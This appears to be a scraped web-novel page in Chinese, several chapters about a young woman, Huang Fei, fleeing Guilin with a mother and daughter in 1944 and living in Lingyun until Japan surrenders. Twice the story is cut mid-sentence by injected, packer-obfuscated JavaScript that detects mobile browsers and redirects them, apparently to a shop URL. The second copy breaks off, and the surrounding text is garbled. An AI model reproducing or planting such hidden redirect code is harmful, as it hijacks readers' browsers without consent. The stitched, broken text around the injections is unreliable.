黄菲这一天,都是与那辆黄包车里的母女相距不远,毕竟这样挤的人群,要超出旁人多远也不容易,所以黄昏的时候,她便是在不远处吃自己的晚饭。 这种时候吃煮土豆是有些费力的,虽然黄菲是带出了饭盒,但是要烧煮也为难,逃亡的人太多,柴草成了宝贵的东西,好在她提前有所准备,把剩余的面粉都做成了锅盔,还带了白开水,到现在还剩一点水,便这样草草吃了晚饭。 而对面那一对母女,母亲真的是准备周全,米面干菜自然是带着的,盐也带了,此外居然还备有几块木炭,此时就用这木炭点火烧水,煮了一小锅粥,小半个时辰之后,那锅子里热气腾腾,散发出一股令人熨帖的米香。 黄菲这个时候已经快要吃完了饭,却仍然不由自主向那边望去,白米红豆粥,雪白的粳米配上一颗颗红豆,颜色很是好看,就好像雪地中的梅花一般,却更加温暖,更加的人间烟火。 看着那粥,黄菲不由得便想起了在延安的时候,鲁艺有名的“艺术饭”,不过并不是用白米和红豆来煮,而是小米赤豆饭,景斌请自己吃过的,当时吃着这样的饭,便感到不愧是艺术的学府,连小米饭也与众不同,里面要加红豆的,只为了这一点点红豆,便渲染出文艺的气息,让陕北高原的小米有了一种诗情画意。 自从离开延安,小米自己是很久没有再吃过了,桂林的生活虽然也不容易,但这边多是出产稻米,米饭米粉居多,倘若和人提到小米,便很有一点“异域风情”,仿佛是“舶来”的一般,西北的风沙与两粤的湿润,实在相差太大。 或许是黄菲想得太深沉,眼神怔怔得太久,对面发觉了,那小女孩伸手指着这面,叫着妈妈:“妈妈,你看!” 那位太太向这边一看,笑了一笑,对黄菲招手:“这位小姐,来喝一点粥吧,虽然没有太多,一小碗还是有的。” 黄菲登时便感到很是不好意思:“啊,不必了,我吃过了。”< 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那小姑娘虽然年纪小,说话却很是利落,也不怕生,此时见黄菲问到了她,当即便依偎在妈妈怀里,两只明亮的眼睛望着黄菲,脆生生地答道:“我叫清清!” 她的母亲代她更为详细地回答:“叫‘顾哲清’,乳名便叫做‘清清’。啊,黄菲,黄菲,好像在哪里听说过这个名字。” 黄菲一笑:“我原来在公司里卖皮鞋。” 吴美霞脑子一转,一下子便想了起来:“啊,莫非便是‘尖头曼贵妃’?啊呀不好意思,我没有恶意的,只是这个叫法很有名,别人都是这样说,所以我就……” “尖头曼贵妃”,虽然仿佛是褒扬,其实总有一点轻浮的意味在里面,吴美霞也是书香门第出身,对于文字的含义自然是很敏感的。 黄菲笑着说:“没有什么的。” 很多人都是顺口,吴美霞自然也是一样。 然后她打开自己的背包,从里面取出一个裹得密密层层的油纸包,递给哲清:“清清,这个给你吃。” “啊呀,是什么?”吴美霞问道。 黄菲笑道:“是腌梅子,我自己做的。” 一听说是梅子,清清立时来了兴趣,打开来便拈了一颗,放进嘴里,吴美霞连忙叮嘱:“小心里面的核!” 清清嚼了梅肉,将梅核吐了出来,听到对面的姐姐在问:“好吃不好吃?” 她点了一点头:“酸酸甜甜,还有一点咸。” 黄菲很有些自得:“是用盐和蜂蜜腌的。” 直接毁了林间的一个野蜂窝,从里面取了蜜,就是这一回公司关门,长假之中的事,自己可惜是不知道该怎样养蜜蜂,所以便效仿了狗熊,笨拙而粗暴。 见女儿又拿了一颗来吃,吴美霞便道:“清清,吃了这一颗就好了,余下的还给姐姐。” 黄菲笑着说:“给清清留着当零嘴吧,我这里还有呢。” 只不过不是加蜂蜜腌渍,单纯的用盐来腌。 长途逃亡让人心情烦躁,尤其周围又都是陌生人,便格外的不安,这个时候若是能有一个能说话的人,便很可以给人以安慰,两个人都觉得对方性格明朗,容易接近,背景也约略相当,都是有些知识的人,所以不多时便热络了。 吴美霞与黄菲诉说着自家的情形:“我先生是在政府里做事,这一次随同转运物资,去了百色,我现在也是往那边去,看能不能找到他。可惜是不好带眷属的,否则路上有个男人照应,能够方便许多,丈夫那边的家人偏偏都出去了,我娘家又不在这里,现在就只有我自己带着清清……” 黄菲点点头,自己一个单身女子,走路倒是不觉得有什么,虽然辛苦,但是没有许多牵挂,母亲一家早已经走了,这个自己是知道的,也不是很为她们担心,只是像美霞姐这样,带着一个幼小的孩子,路上黄菲也看到有搀扶着老人的,那样就格外吃力。 吴美霞也暗暗观察黄菲,百货公司这一位有名的皮鞋明星,自己虽然听说过,只是没曾见面,丈夫虽然是在政府机关工作,然而职位不是很高,比不得那些当官的,出入高级百货,购买进口皮鞋,自己对这样的百货公司,一向也少有兴趣,家务之余的闲暇,倒是逛书店居多,所以黄菲虽然也算是大名鼎鼎,自己却并没见过。 此时一见,与自己料想中不太一样,不知是因为逃难途中不好太招摇,还是本来就不慕繁华,居然是一个很朴素的人,穿的简单的阴丹士林旗袍,脸上没有香粉口红,清清纯纯,仿佛一个女学生样,说起话来也朴实,不是那么花言巧语的,与交际场上的人截然不同。 吴美霞看过一阵之后,暗暗感叹,真是闻名不如见面,倘若凭了臆想,怎么会知道名噪桂林的黄菲,居然是这样一个人呢?这一路倘若能够有她相伴,倒是很好的,谈谈说说,起码不寂寞。 33. 第三十三章 意想不到的乖乖女 第三十三章 意想不到的乖乖女 从桂林出来,经过柳州,过了宜山、都安,又去南宁,一路上走走停停,路上看到前方撤下来的队伍,国军士兵枪尖上挑着抓来的鸡,倒吊着,还扑扇翅膀,尖声叫个不住,三两个人勾肩搭背,晃着膀子,乐呵呵商量:“晚饭吃鸡汤。” 十几米外,梅思幽幽地说:“若不是一身蓝灰色的衣服,还以为日军已经追过来了。” 吴美霞蹙眉道:“不是抓老百姓的鸡,就是追逃跑的老婆,日本人当然可恨,可他们这个样子,也难怪守不住桂林。” 梅思摇摇头:“若以恋爱的自由,来裁判婚姻的合法,其实算不得他的妻子。” 就是那个追捕逃妻的营长,纵然撤离前夕人心惶惶,却也成了战乱中一个新闻,强娶的女学生趁这个机会,与同学恋人逃走了,算是战乱之中难得慰藉的消息。 到九月底,终于来到百色,到了百色,吴美霞便携了清清,去寻找丈夫顾泰,找了一阵,果然寻着了,夫妻两人久别重逢,实在是莫大的惊喜,当即拥抱哭泣,清清也抱着父亲的大腿哭:“爸爸,你怎么不理我们,自己走了?” 顾泰又是惭愧,又是后怕,好在母女两个是到了这里,否则路上倘若有什么闪失,自己该多么痛悔呢?本来应该是自己护送她们离开桂林,去往安全的地方,奈何政府有命令,押运物资不能带家里人,自己为了忠于职守,只能不顾亲人,幸好菩萨保佑,她们都安全抵达,自己一直悬着的心总算是落回肚内。 擦去了眼泪,顾泰说道:“美霞,这些日子辛苦你,全靠了你,才把清清带到这里。” 妻子孤身一个人带了这么幼小的孩子,辗转上千里,到了百色,其中的辛苦实在难以细说,多亏了妻子坚韧,才能够办到这件事。 吴美霞脸上挂着泪珠,笑了笑,道:“幸好认识了黄菲妹妹,一路有她帮忙,才到得这里。” 起始是包了人力车出桂林的,但到了柳州,车夫就不想再走,他也有家人在桂林,自然担心,自己同车夫好说歹说,黄菲也帮着说,又加了价钱,总算勉强答应继续往前走,然而到了宜山,因为政府说暂时在这里休息一阵,也不知要住多久,大家是全听政府安排,叫走就走,要停就停,说去哪里就去哪里,如今战局纷乱,消息一刻一变,人们哪里有什么主张?只有一心信任政府。 既然是在宜山歇下了,又不晓得究竟要住几日,车夫便吵着一定要回去,吴美霞想着未来究竟如何,实在难测,留着车夫在这里,虽然没有赶路,但每天要按日记酬,付钱给他,这一路花钱如流水,纵然是万贯家财的底子,也要磨穿了,更何况是自己寻常家庭,实在没法子这样花钱,而到了宜山,去百色的路途也已经走了一半,后面那一半,咬咬牙总能赶得过去,便咬了咬牙,结算了车钱,向车夫道了谢,便打发他回去了。 宜山果然不是长久居住的地方,半个多月之后,便又接到政府通知,说要转去都安,于是又起了身,到这时便没有了车子坐,全靠两条腿走路,清清出门这些日子,虽然已经不复当初在家里时的娇惯,但是她毕竟年纪小,这样紧的路程,与大人一样赶路实在吃力,自己便要时不时抱着她走,可是单靠自己一个人怎么行?况且又有行李在身,这个时候幸亏有黄菲,帮自己掮着行李,又或者背抱着清清,这一路磕磕绊绊,艰难情状实在诉说不尽。 有时候自己感觉实在筋疲力尽,只觉得前途一片黑茫茫,觑着清清睡着了,便要低声抱怨:“可惜了她爸爸只是个小小的股长,我们要自己雇车,如今居然要走路了,看看那些大员的家人,上路便是小汽车。” 这种时候实在清高不起来了,便要羡慕政府高官,富贵人家。 黄菲笑一笑,宽慰自己:“美霞姐,看开些,我们随着政府疏散,路上有政府的人接应,与普通的老百姓相比,已经是天上地下了,何必还要埋怨?况且这样走一阵的路,练就两条铁腿,今后走路都不怕。” 自己就是在延安,锻炼出了走路,延安哪里有小汽车人力车,去哪里都是靠走路,所以自己是不怕走路的。 然后她又好心劝自己:“不如明天姐姐也打上绑腿吧,我这里还有两条备用,姐姐没打过,我来帮姐姐打。” 当时自己默默地望了望她,离开桂林的第二天,黄菲便脱去旗袍,穿了短衣长裤,小腿还打了绑腿,打得那个妥帖哦,手法相当的熟练利落,她若是把那头发再剪短些,便可以直接充作国军,那样子很适合上前线了,自己到这时才记起来,恍惚在哪个小报上读到过,黄菲是去过延安的。 绑腿呢,自己到最后也是没打,因为感觉有点太“军事化”了,不过这一路,黄菲确实是帮了大忙。 听妻子谈到黄菲,顾泰点了点头:“有机会见面,要多谢她。” 一时恐怕顾不上,政府虽然是在百色驻下,但是这里一派忙乱,什么事情都搅在了一起,什么事情也都总是出错,让人烦恼得不行,纵然自己向来斯文,有时候也忍不住想要骂人,千头万绪,理都理不清,没有很多时间陪伴妻女,自然也就见不着黄菲。 更何况早就听人在说,百色虽然已经远离了桂林,但终究不是太过安稳,省政府所在的地方,日寇怎么会不留意?若是打过来,必然要打这里,所以眷属们在这边,也不该久住的,还是转到另外的地方为好,自己与亲人匆匆相见,只怕后面团聚的时间也是不多。 果然如此,一众逃亡的人到了百色没几天,便有消息要她们转到凌云,于是吴美霞便只得拖着疲惫的身体,与黄菲一起,带着清清又去往凌云,她们是低级职员的亲朋,到这时依然是没有车,成群结队只好跟着向导往凌云走路,两百里倒不是特别长的距离,然而都是山路,相当崎岖,足足走了一个礼拜,才终于抵达凌云。 听说已经到了地方,人们全都大大地松了一口气,吴美霞登时便感觉身子一软,差一点便要坐倒在地上,这时候她只希望有张床可供自己一头栽倒,再也不爬起来。 黄菲拉着清清,又搀扶住吴美霞,深深吸了一口气,道:“美霞姐,如今到了地头,什么都好说了,看政府给我们找一间怎样的房子来住。” 政府果然在凌云给大家安排了住处,都是民房,凌云这个地方虽说是县城,但很是荒僻冷落,看起来不过是个大一点的村镇,丝毫看不出繁华的痕迹,所以少有旅店,原本的几家客栈也根本不够安置突然涌入的这么多的人,有人倒是住旅店,然而那价格全涨起来,简直要涨到了天上,因此人们便是住民房,级别高些的单独住,房屋更好些,像是吴美霞这样的普通眷属,便是与当地人合住,房子也简陋些。 到了这时,已经是隆冬十月,凌云位于山区,冬季里的寒冷很使人感觉辛苦,北风刺骨,多厚的棉袍也挡不住,黄菲是以为,简直比陕北的冬天还要冷。 疏散的人们到了这里,据说暂时不须再走,个个都松了一口气,只觉得到了这时简直是筋疲力竭,从身体到精神都再支持不住,倘若这时候忽然传来指令,说要再走,那可实在是无力挪动,况且天气又冷,便愈发不想出门,差不多每一家都买了许多柴炭,整天就守着个火盆,只有坐在火盆前,才感觉稍暖一些。 战事正紧,偏偏凌云偏僻闭塞,与外界很少联系,所以消息不通,大家都不知道外面如今打得怎么样了,虽然这里还平静,依然难免惶惶不安,一群太太小姐们凑在一起,整天议论: “鬼子到了哪里了?” “百色怎么样了?” “会来凌云么?” “凌云巴掌大一个地方,只有一条街,又是这般穷苦破落,日本人若是连这么个地方都不肯放过,到那个时候,也只好以身殉难。” “是啊,所以我们全家是每个人一把短刀,若真到了那个时候,纵然不能拼命,好歹能自杀,保全了贞洁。” “我们家里也是。” “是啊是啊。” 这个时候,吴美霞理了理鬓边的头发,从容地说:“姐妹们,咱们别整天光想着这些事,什么死不死的,还是得想法子好好地活着,这不是日本人还没来么?之前天天都是在说,抗战到了最为吃紧的关头,越是这种时候,越是难熬,但是一定要坚持,因为到了这时,便离着出头之日不远了,最后这段苦日子,一定得咬紧牙关顶过去,倘若这时候退了,便是全败了,前面那么多的牺牲,也全是白费,所以咱们还是要怀抱着信心,不要慌才好。” 听她这样一说,其她人也稍稍安定,周太太看了看房间四面,忽然噗嗤一笑:“吴太,你的那个表妹去了哪里?大冷天的,不在屋子里烤火,总见她往外面跑。” 吴美霞一笑:“她啊,出去和人家一起演练防空,说这两天还要练习防毒,日本人纵然不能走着来,他们的飞机只怕也能飞得来,还是小心一些的好,另外怕有特务投毒。” 刘太太笑着说:“亏了她有心,能想着这些事,况且又真的能干。” 一旁的王太太掩着嘴嘻嘻地笑:“真不愧是从延安回来的呢。啊呀吴太,我说这话你可别恼,共产党毕竟不是日本人,我并没别的意思。” 况且你那“表妹”,谁不知道是和你家隔着十万八千里呢? 赵太太瞪大了眼睛:“啊呀,黄小姐竟然是去过延安的么?看着可真是个老实蔸子啊!” 赵太太是从南宁过来,没见过桂林的“尖头曼贵妃” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344764|152646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,所以有这样的惊诧,像是刘太王太可是都去过百货公司,纵然没去过,也听说过,能在桂林混出这样的名气,那位黄小姐可真不是省油的灯。 于是话题便转到了黄菲身上,赵太很是纳闷,看起来那样一个朴素本分的女孩子,绝不像自家的女儿那样爱学时髦的,不过十四岁,整天又是烫头,又是闹着要踩高跟鞋,小小年纪,偏她爱作妖,吴太的这位表妹那可是,一张脸除了雪花膏,什么都不擦的,擦雪花膏那是怕皮肤给冷风吹得干裂,疼啊。 虽然相识不过一个月,赵太却已经对黄菲有了自己的评判,这简直就是普天下的妈妈梦寐以求的女儿,懂事、聪明、勤快能干,从小到大不用家里人操半点心,绝不担心她会给人惹祸的,像是时下那些青年人,对家庭的叛逆啦,又是什么闹自由恋爱,婚姻自主,她是绝对不可能有的,未来的婚姻大事,一定是听从父母的安排,找一个门当户对的男子,从此成为一个体面贤惠的太太,将来生几个孩子,掌管家务,教养儿女,书中描绘的贤妻良母就是她的这个样子。 哪知那看起来安安分分的黄小姐,竟然会捅出来这么一个大娄子呢?今天才知道竟然去过延安,这可真是“人不可貌相”,延安啊,那是好人家的女儿该去的地方吗? 赵太也知道,当今在一些时新青年之中,“革命”是个极流行的词,“延安”是心目中的圣地,颓废的时髦青年向往的是百乐门,振作的潮流青年则是渴望延安,然而对于赵太来讲,两者都是不好,沉溺于百乐门,倾家败业,蹉跎了大好人生,倘若有志奋发,却去了延安呢,则更是让人揪心。 如今虽然国民政府包容,可是谁不知道只是一时的权宜?早晚要收拾的,中国几千年来,向来“一山不容二虎”,如今是抗战吃紧,否则哪能容得折腾这么多年?往那边靠,毫无好处。 所以赵太便很是为黄菲可惜啊,白糟蹋了这么好的一个人,怎么就去了延安呢?如今虽然是回来了,然而污点难消,看黄菲也是正经人家出身,读过书的,像她这样的人,本来该有一个舒心顺遂的人生,哪知却去了延安,这一下自毁前程,想要再好好嫁个人,可是难了。 吴美霞听她们满口议论黄菲,不由得便感到不耐,赵太倒是好意,一门心思为了黄菲惋惜,可是那惋惜的话听在人耳朵里,只是更加烦恼,于是她便努力把话题往旁的方向扯:“总是说她有什么趣?咱们现住在凌云,这些日子我觉着,这凌云虽然清苦,却也有一桩好处,就是香粳米实在是好,在别处吃不到这样的粳米,将来我们若是离开了,回家里去,可要带些粳米回去……” 王太赵太都明白她的意思,王太嘻嘻笑了两声,便也说起香粳米,赵太本来也想跟着转弯,只是方才抒发感慨太过畅快,一时收不住闸,又念了两句,才勉强将话头搭在了吃穿上面。 到了下午四点多,送走了这些太太们,吴美霞料理晚饭,看着锅冒气了,思绪又弥漫开来,想到今天的闲谈,又想到黄菲昨天一个走嘴,说出了“飞机洞”,马上改口“防空洞”,自己也没有多问她,不知是哪里来的话。 那一个情节若是写在小说里,便是“蘅芜君兰言解疑癖”,只可惜背景不对,不是大观园那样的繁花锦簇,黄菲说的也不是《西厢记》、《牡丹亭》里面的香艳句子,她那可是带着血的,自己更加不是宝钗,逃难还忙不来,管那些做什么?只是此时回想起来,心中难免感叹。 她正在想着,忽然门声一响,有人走了进来,然后便听到一个年轻女子清脆的声音:“姐姐,我回来了!晚饭煮的什么?这么香。” 吴美霞这才收回思绪,转过头来笑着说:“煮了粥,还烧了干菜猪肉。肉快吃完了,后天赶圩,要再买一些。你洗洗手,就要吃饭了。” 黄菲在脸盆里一面洗手一面说着:“毕竟是在山中,六天才有一个圩,有鱼肉卖,好在如今天气冷,肉放在外面也不会坏掉,等到夏天若是我们还在这里,一次买几天的肉,不知道要怎样保存,在这里是绝不要想有冰箱的了。” 吴美霞给她几句话说得笑了起来:“你还想冰箱哩,就是在桂林,也没听说哪家有的,那得是怎样富贵的人家才用得起?今天我们还说哩,凌云只有一条街,从这边到那边,一下子就走到了头。” 黄菲用毛巾擦着手,咯咯地乐:“倒是比萧红的家乡还要简单些,她呼兰老家的县城有两条街,十字交叉的。” 吴美霞也给引发了兴味,萧红的名篇,《呼兰河传》,得说黄菲除了耐劳能干,还有一个重要的优点,就是人很有趣,如此逆境之中,并不气馁,也不会多么的苦大仇深,满怀愤恨,依然能够发现生活的趣味,和她在一起,就为了这一点,也很能宽心的。 34. 第三十四章 新习惯:不吃猪肉 第三十四章 新习惯:不吃猪肉 山中的隆冬虽然难过,度日如年,简直是数着日子过,不过终究是过来了,到了第二年的二月,立春之后,严寒终于有所缓解,这个时候再回首之前,恍然不知怎么,倏忽一下就过来的,时光真的如流水啊。 日军终究是没来,凌云仿佛是另一个世界,与世隔绝,“不知有汉,无论魏晋”,不过毕竟不是完全的不通消息,外面偶然也有人会来的,送信的,卖货的,于是大家便知道,日本人到了隆安、平果,便没有再向前,百色是平安的,凌云自然目前也是没事。 于是人们便放下心来,安安稳稳地,打算着在这里怎样长久地过下去。 这一天吴美霞便与黄菲计议:“我想要招几个孩子,在这里教她们读读书,虽然是战乱,可也不该耽搁了学业,到现在年也过完了,很该开学的。” 黄菲立刻就想到了自己梅林帐篷里的那些书:“我出去找找,看能不能找来几本书来。” 吴美霞点点头:“如果能有,那可是好,如今虽然差不多每天都是圩日,猪羊尽有得卖,唯独少有书,我们当时离开桂林,衣物米面还带不过来,书只能丢下了,在这里偏偏买不到书,让人没得打发时间。” 如今居然算是在凌云安居了,去年十月来这里,到这时大约半年时间,起初很有些背井离乡的仓皇伤感,到这时住得有点久了,便觉得她乡也有了一点故乡的况味,饮食上渐渐能够习惯,这里本来是六天一次赶圩的,因为这一次涌进来的人多了,颇有一些高官太太在这里面,手头有钱,所以商业便逐渐繁荣起来,到此时已经变成了差不多天天都是圩日,每天杀猪宰羊,市场上日日都有鲜肉卖,像是黄菲之前担忧的问题,夏季里怎样保藏肉类,这个时候已经不需要顾虑。 只是没有书,肉食虽然不缺乏,但那是当地本来出产的,本地却是不印书的,而凌云与外界交通困难,这个时候纵然有商人往来,也多是贩运衣服食物之类,书籍在这样的时局之下,实在有点奢侈了,不能吃喝,分量又沉重,逃难如果要带书,是一件很辛苦的事,薄册子倒是还罢了,若是厚一点的书带在身上,就仿佛带了一块砖头,所以少有人带书,金银细软还带不过来,哪能顾得上书? 因此便感觉寂寥,避难的生活虽然也很是艰苦,每天总有许多事情做,像是吴美霞这样的人,比不得那些高官太太,门口有卫兵守护,家中还有女仆男佣,搓麻织线主要是为了体现情操品格,吴美霞可是真的需要自己动手料理家事,洗衣做饭,打扫房屋,这些事也不少呢,只是每天毕竟能偷得一些空闲,这个时候坐在窗边,便感到很有些无聊,实在是寂寞了,没有书看,也没有无线电可听,物质上虽然还不很匮乏,但精神实在有些空虚。 吴美霞说着说着,便讲到家计:“不招几个学生来,也真的有点撑不过去,出来半年多了,到如今‘黑貂之裘弊,黄金百斤尽’。” 就如同当年的苏秦,“资用乏绝”,所以急需收一点学费。 黄菲点了点头:“是啊,‘家无营活计,不怕斗量金’,哪怕是万贯家财,每天只有消耗,没有生产,也会慢慢地耗尽了。” 西门庆虽然可恶,不过他死了之后,月娘守着这个家,没有了收入,坐吃山空,纵然原本家底厚实,但那种资产逐渐减少的前景是很让人恐慌的,黄菲在延安,学习政治经济学,愈发明白若是不能有经济上的权利,便谈不到女性的解放,所以她很注意要自己赚钱,此时吴美霞想要在家中办一个小小的学校,她便也很是赞成。 于是第二天,黄菲便拿回来几本书,都是小说,吴美霞一看,好在不是那种情情爱爱的,多是社会小说,有一本居然是童话,拿来给幼童当识字课本,虽然也不是很合适,安徒生的童话对于不到十岁的孩子,有点太高深了,不过毕竟还可以用。 又过了两天,黄菲从外面回来,这一次是拿了几本旧账簿,她乐滋滋地说:“街头看到有人在收字纸,背篓里面有这样几本账簿,我就向他讨了来,本来说要给他钱的,他不肯要,听说我是要拿来给学生当作业簿,白白送给了我,真是感激他,还叮嘱孩子们要好好写字哩!很好的一个老人,愿他长命百岁。” 吴美霞一瞧,挺好的,这一下作业簿也有了,逃难在外,一切都要尽量节俭啊。 这时候学生也已经招了来,一共五个孩子,都是七八岁、八九岁的年纪,刚好读小学,吴美霞是师范毕业,原本当过小学校的□□,婚后才从学校离职,专心作太太,这个时候重操旧业,很是合适,她的小屋里每天读书声琅琅,清清也跟着母亲老师一起识字,一群孩子读书之余,便是玩耍,虽然是逃难期间,在孩子而言却也另有一番开心。 四月里,黄菲这一天午间出门回来,带来一束黄色的野百合,非常鲜妍,十分夺目,吴美霞赶忙找出一只玻璃瓶,注了水,将那几支橙黄色的百合插在了瓶中,放在案头,笑着说:“这一下这屋子里可有了春天的气息。” 亏了黄菲胆大,时时到外面去,能够带回来这些东西,否则春天虽然是来了,自己这临时的住处也仍然是乏味,在这陌生的地方,外面又是战火连天,所以许多疏散来的人,尤其是女人,都是尽量不出门,关门闭户,悄无声息地等待。 黄菲歪着头看着瓶里的话,片刻之后笑道:“姐姐你看,是不是有一点好像梵高的名画?” 吴美霞再一看:“果然有点像呢。” 只不过梵高画的是向日葵,这里是野百合,只是色泽都是极为浓烈灿烂。 黄菲坐下来喝水,几个孩子正在大声背诵乘法口诀,这边两个人便低声闲话:“刚刚听陈太说,桂平那边有日本的飞机给打下来了,那飞机里的人,也不管死的活的,给乡民们一顿菜刀锄头,都成了肉酱。” 黄菲恍然便想起了在延安,看到的日本工农学校的学员,这些原本的战俘穿着木屐,在路上啪嗒啪嗒地跑来跑去。 黄菲则是给她讲述当天的见闻:“元厅长的小少爷,肺炎一直没能转好,今天死了。” 吴美霞登时一阵唏嘘:“真是可怜,那孩子还不到十岁吧?这么小的年纪就没了,本以为他已经顶过了冬天,到这时候或许会好起来,哪知依然是没了,他母亲不知有多伤心。” 黄菲每天出去,并不只是演练防空防毒,当初在女大辅修的一点医药知识,这时候派上了用场,凌云是个小地方,正规的医护人员十分缺乏,只有一些土郎中,但这些从桂林南宁过来的太太们,怎么会仅仅满足于这样的医疗服务?如果有人生了病,还是需要现代派一点的医师,黄菲虽然不是卫生学校毕业,但毕竟知道一些,在此时的凌云,她的医学知识就算是比较高的,她自己也很快发现了这一点,于是便客串了医生,也兼职护士,收入虽然不多,但能维持最基本的支出。 只是这一段时间,黄菲也很是感觉受挫,她对于医学,本来就只是粗浅的了解,而在凌云从事医疗工作,还有一个严重的困难,就是缺少药物,缺少现代药品,这里倒是有草药的,遇到有人生病,就煎汤熬药,有时候确实能够好转,但往往不能奏效,黄菲是非常希望能够有桂林西药店里的那些药物,比如阿司匹林、破伤风血清之类,虽然不是真正的医生,不过倘若能够有这些药物在手,黄菲相信自己能够做更多的事。 就比如元厅长的小儿子,九岁的男孩,去年冬天受冷得了感冒,因为治疗不及时,便转成肺炎,整日地咳,他的母亲林太太急得心如火烧,各路郎中都请了来,本地的外来的,其中也包括自己,那屋子里的炭炉上整天放着药罐子,煎煮汤药。 对于肺病,以黄菲的水平,基本上是没有什么办法,晓得这种病中医未必有效,西医似乎也没有特别好的法子,若是肺结核呢,只有打空气针,而肺炎呢,当初旁听的时候,好像也没听到老师讲应该怎样治疗,所以在这个时候,她这个学习过现代医药的人,反而不如老中医有主张,人家一条条能开出中药,柴胡、甘草、桔梗、川芎之类,本来说最好加一点人参,只可惜凌云的药铺里没有这样贵重的药材。 所以黄菲便只能协助护理,帮着照看那孩子,林太太丈夫的职位虽然也不算低,但却也并不是特别高,所以身边便只有一个女佣,日常要洗衣做饭,还要采买食物,此时要照看孩子,少不得多数落在林太太身上,她一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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不由得便想起了延安,人很容易会生病,得肺病和胃病的人很多,许多老革命者身体都不很好,比如瞿秋白,黄菲知道他有很严重的肺病,就算是国民党不杀他,以他的身体状况,也撑不了几年,所以国民党何必这样对待一个重度肺病患者呢? 而之所以延安的人多罹患这两种病,原因也可想而知,营养不良导致细菌病毒容易侵袭人体,便得了肺病,另外食物粗粝,革命斗争导致生活没有规律,便易患胃病,一些老革命,往往就是老胃病。 黄菲与吴美霞又说起了难民,想到这一次日军攻入广西,不知又有多少人流离失所,战争之中,人未必是直接死于枪弹,但饥饿寒冷,还有糟糕的卫生条件,都可能让人失去生命,即使侥幸活着,那种恐慌煎熬啊,也实在难以承受,所以人们才会那样痛恨日军,什么“优待俘虏”的政策,还有什么“战争中的人道主义”,她们连想都不会想,看到了日本士兵,只要是自己能够的,直接就把他打烂。 不多时,便是吃午饭的时间,学生们各自散学回家,吴美霞把炉子上一直加热的锅子取了下来,揭开盖子,一股浓郁的香气涌了出来,黄菲凑近铜锅,深深吸了一口气:“啊,好香的牛肉汤!” 吴美霞笑道:“这都给你闻了出来?可真是呢,早上刚刚买回来的新鲜黄牛肉。” 黄菲笑嘻嘻地说:“可说呢,这一阵练了出来,牛肉和羊肉各有一种特别的味道,都是很好的,只要别是猪肉。” 吴美霞哈哈地笑:“你虽然不是教门的人,现在却也和她们一样,不吃猪肉。” 黄菲捏着鼻子说:“美霞姐,但凡你看到那些猪吃的是什么,保管你也不肯再吃猪肉。” 凌云这里的人啊,养猪如同养狗,那些猪在大街小巷游走,专门吃人的排泄物,黄菲从前哪见过这个?小时候在乡下,都是打猪草啊,把那些鹅儿肠、墨头草割回来给猪来吃,猪长得肥肥壮壮,那该是多么的洁净;再看凌云这里的猪,倒也是胖胖的,只是一想到它们的食物,便感到满心的腻烦,实在太龌龊了,来到凌云之后,黄菲但凡有的选择,便不吃猪肉。 为此吴美霞有时候便要笑她:“你只管吃肉便罢了,费心去想它是怎样生长的,又是何必?” 实在有一点自寻烦恼啊。 黄菲蹙着眉头说道:“姐姐啊,我也不愿去想的,只是克制不住。” 一看到烧猪肉,便不由得要想到它们进食的情形,登时便有点想要作呕,于是便感到,幸好自己喜欢的是羊肉,那是多么的清洁,每天吃那样鲜嫩的青草,还沾着清晨的露水。 35. 第三十五章 搭车客 第三十五章 搭车客 八月十二号,一个捷报传来凌云县,就在上个月二十八号,国军收复了桂林,当地登时便轰动了,几天之后,又有一个更为震动的消息传入山中,日本宣布投降了! 起先听说日本投降,人们都将信将疑,不多时看到了报纸,上面头条大号字体写着:日本无条件投降。 大家这才信了,于是各处燃放鞭炮,凌云县里的烟花很快给人抢购一空,商人便到百色去贩运,哪知那里也是满城鞭炮轰响,根本进不到货。 黄菲这边倒是没有放烟花响鞭炮,这一天她喜滋滋刚刚跨进房门,便看到吴美霞正站在桌前,面前放着一卷书,她随手乱翻着,脸上胀得通红,满眼兴奋,那翻书的手也没有轻重,差一点就要把书页扯破了。 黄菲笑嘻嘻把提篮放在桌面:“姐姐真的是‘漫卷诗书喜欲狂’。” 吴美霞转过头来笑道:“难道你就不欢喜么?” 黄菲笑着说:“自然是开心的,我打了酒来,还买了一条鱼,今天我们喝酒吃鱼,好好庆贺一番。啊,学生们都已经回去了么?” 吴美霞点头:“我刚一看了王太太拿过来的报纸,就把她们都放回去了,今天是个大节日,提早放学,各自回家庆祝。唔,好一条大鲤鱼,我们清蒸了来吃,正好下酒。” 黄菲便去杀鱼,将鱼敲晕之后,剖开了鱼腹,清理内脏,又刮鱼鳞,吴美霞在旁边准备姜葱,一边切着葱丝,一边高声吟诵道: “剑外忽传收蓟北, 初闻涕泪满衣裳。 却看妻子愁何在, 漫卷诗书喜欲狂。 白日放歌须纵酒, 青春作伴好还乡。 即从巴峡穿巫峡, 便下襄阳向洛阳。” 菜刀在砧板上剁剁剁,发出“咚咚咚”的声音。 黄菲在一旁抿着嘴笑,等她背完了诗,便乐着说:“姐姐,留神别切着手。如今我们很快便要‘青春作伴好还乡’,可以回桂林去了。” 吴美霞连连点头:“真想马上就动身,明天就赶回桂林,已经一年了,也不知桂林如今是什么样子,当初抛下了家,走在路上我还想着,这一去不知多久才能回来了,或许竟然要十年八年,到清清长大了,才得再进桂林城,哪知竟然这么快就可以回去了呢,谁知道去年鬼子还那样猖狂,眼见正得势,这时候便彻底败了,可见‘物极必反’,这也是折腾到头了。” 黄菲笑道:“是啊,去年这个时候,日本人那架势可真惊人,谁料到这么快就完了,如今想来,当初原是‘回光返照’,垂死挣扎。” 